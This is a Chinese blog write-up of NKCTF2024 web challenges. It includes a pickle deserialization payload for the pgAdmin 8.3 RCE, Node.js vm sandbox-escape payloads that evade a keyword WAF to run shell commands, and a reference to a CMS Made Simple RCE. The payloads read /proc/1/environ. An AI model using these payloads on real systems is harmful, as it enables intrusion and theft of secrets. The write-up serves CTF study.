【Web】NKCTF2024

619次阅读
没有评论

NKCTF2024

写在前面

还是体会到了自己的菜,很多题目没做出来。赛后看完 wp 之后发现本来很简单的点可是自己就是没想到。比如爆破密码,自己的字典是 admin123 但结果应该是Admin123. 只能说可惜了,赛后好好复现好好学习吧。

Web(复现)

my first cms

可以看到是最新版 2.2.19 的 CMS Made Simple. 网上找了找发现有对应的 SSTI 的漏洞。(最后才发现其实不是这个,而应该是远程代码执行的洞)
应该是CVE-2024-27622
CMS Made Simple Version 2.2.19 - Remote Code Execution Exploit
第一步需要我们去以 admin 的身份登录,这里需要爆破密码。
最后密码应该是Admin123

然后就可以按照步骤进行命令执行了
【Web】NKCTF2024

attack_tacooooo

题目需要登录,根据提示以及题目描述猜测用户名密码为tacooooo@qq.com:tacooooo
登录进去后有版本信息是 v8.3 版本。
网上了找到漏洞复现的文章。
pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

其实就是一个 pickle 反序列化,我们可以自己写脚本。
由于一开始尝试反弹 shell 一直弹不出来,所以最后就选择了写文件的方式。

import struct
import sys
import pickle
import base64
class A(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",))
poc = A()
result = pickle.dumps(poc)
if __name__ == '__main__':
    with open('posix.pickle', 'wb') as f:
        f.write(result)

生成好文件后进行文件上传
然后最后查看 1.txt 文件即可。
【Web】NKCTF2024

全世界最简单的 CTF

F12 查看可以拿到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){res.sendFile(__dirname + '/public/home.html');
})

function waf(code) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){if(process.__filename == null) {let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})

app.listen(3000, ()=>{console.log("listen on 3000");
})

分析源码
可以看出存在 vm 逃逸,之前没咋接触过这个知识点。所以找了篇文章恶补了一下
https://xz.aliyun.com/t/11859?time__1311=mqmx0DBD9DyDuBYD%2FQbiQQLPiq9Df280irD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F11859#toc-0

这里的 vm 逃逸很明显需要我们去抛出异常来执行代码。
至于 waf 的绕过,可以采用 replace 函数来绕过

throw new Proxy({}, {get: function(){
        const cc = arguments.callee.caller;
        const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
        const obj = p.mainModule.require('child_procBess'.replace('B',''));
        const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
        return ex.value('cat /proc/1/environ > /var/www/1.txt').toString();}
})

最后写文件或者反弹 shell 都可。
或者由于题目对大小写敏感,也可以这么写 payload

throw new Proxy({}, {get: function(){
    const cc = arguments.callee.caller;
    const aa = 'return Process'.toLowerCase();
    const bb = 'child_pRocess'.toLowerCase();
    const p = (cc.constructor.constructor(aa))().mainModule.require(bb);
    return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));
    }
  })

题目寄了,所以没法放打出 flag 的图了。。。

最后一个题由于环境的问题没法复现了。。。寄

正文完
 
haxo
版权声明:本站原创文章,由 haxo 2024-03-28发表,共计3222字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
最新评论
emoji emoji 写得好啊
评论(没有评论)